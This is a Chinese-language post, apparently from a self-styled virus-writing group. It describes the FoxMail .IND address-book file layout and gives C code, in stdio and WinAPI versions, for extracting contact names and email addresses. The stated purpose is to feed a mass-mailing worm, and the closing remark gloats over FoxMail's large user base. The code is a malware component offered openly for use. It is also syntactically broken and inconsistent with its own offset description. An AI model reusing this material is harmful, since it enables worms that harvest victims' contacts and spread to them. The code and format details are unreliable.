来源:苏睿暄病毒研发小组
用FoxMail的地址传播病毒
{注:看了whaoye的《浅谈用Delphi写蠕虫病毒》后...}
foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现
::
文件头的范围为00H-39H,共64个字节。
05H保存纪录的个数,12H-21H记录地址薄名称。
记录部分40H开始是第一条记录,每条记录长B0H
每条记录的00H是记录号,04H是删除标记,该字节为1表明此记录被用户删除
11H是组记录,该字节为1表明此记录为一条组记录;
12H是名称的长度,最大为20H;
13H-32H是名称内容,33H是邮件地址长度,最大为40H,34H-73H是邮件地址内容。。。
下面我们写一段代码用于从.IND文件中将地址提出来,然后...(看你的想象力了,whaoye
已经将发送方面写的很清楚了,不用我再重复了)
我用C写的代码,delphi下的代码是不同的,大家可以自行更改...
(我没用API,原因是我用api写的在测试时,除了几次错误,以后有时间,一定补上)
file*fp_addr
char*srcname
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=fopen(srcname,"rb"))==null)
{exit(-1)}
fseek(fp_addr,0x40,seek_set)
while(!feof(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name[i]='\0'
for(i=0;i<0x41;i++)
email[i]='\0'
fread(recbuf,1,0xb0,fp_addr)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name[i]=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email[i]=recbuf[i+0x34]
}
/*此处添加处理name(收件人名),email(收件人地址)的程序*/
}
fclose(fp_addr)
好了,既然有了读取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,
参照whaoye的文章就可以写出...
{后记::foxmail在中国的用户量是很多的,假如利用这种方法写出病毒来...hahaha}
{补记::
API方法
handle fp_addr
char*srcname
DWord dwVes
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)
{RETURN -1}
SetFilePointer(fp_addr,0x40,0,File_Begin)
while(!GetFilePointer(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name[i]='\0'
for(i=0;i<0x41;i++)
email[i]='\0'
ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name[i]=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email[i]=recbuf[i+0x34]
}
//此处添加处理name(收件人名),email(收件人地址)的程序
}
CloseHandle(fp_addr)